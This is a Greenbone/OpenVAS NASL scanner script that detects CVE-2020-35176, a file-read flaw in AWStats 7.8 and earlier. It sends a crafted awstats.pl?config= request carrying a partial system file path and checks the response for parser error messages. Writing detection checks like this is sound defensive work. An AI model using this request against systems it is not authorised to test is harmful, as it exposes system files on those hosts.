AWStats <= 7.8 File Read Vulnerability

# Copyright (C) 2020 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:awstats:awstats";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.145067");
  script_version("2021-12-23T09:19:22+0000");
  script_tag(name:"last_modification", value:"2021-12-23 09:19:22 +0000 (Thu, 23 Dec 2021)");
  script_tag(name:"creation_date", value:"2020-12-18 04:02:11 +0000 (Fri, 18 Dec 2020)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2021-01-08 05:15:00 +0000 (Fri, 08 Jan 2021)");

  script_tag(name:"qod_type", value:"remote_app");

  script_tag(name:"solution_type", value:"Workaround");

  script_cve_id("CVE-2020-35176");

  script_name("AWStats <= 7.8 File Read Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2020 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("awstats_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("awstats/installed");

  script_tag(name:"summary", value:"AWStats is prone to a file read vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"In AWStats cgi-bin/awstats.pl?config= accepts a partial absolute
  pathname (omitting the initial /etc), even though it was intended to only read a file in the
  /etc/awstats/awstats.conf format. NOTE: this issue exists because of an incomplete fix for
  CVE-2017-1000501 and CVE-2020-29600.");

  script_tag(name:"affected", value:"AWStats 7.8 and prior.");

  script_tag(name:"solution", value:"An unreleased source code patch is available in the linked
  references.");

  script_xref(name:"URL", value:"https://github.com/eldy/awstats/issues/195");
  script_xref(name:"URL", value:"https://github.com/eldy/AWStats/pull/196");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files();

foreach pattern(keys(files)) {

  file = files[pattern];
  file = split(file, sep: "/", keep: FALSE);
  if (!isnull(file[1]))
    file = file[1];
  else
    file = file[0];

  url = dir + "/awstats.pl?config=" + file;

  if (http_vuln_check(port: port, url: url, pattern: file, check_header: TRUE,
                      extra_check: make_list("Warning: Syntax error line", "Config line is ignored."))) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);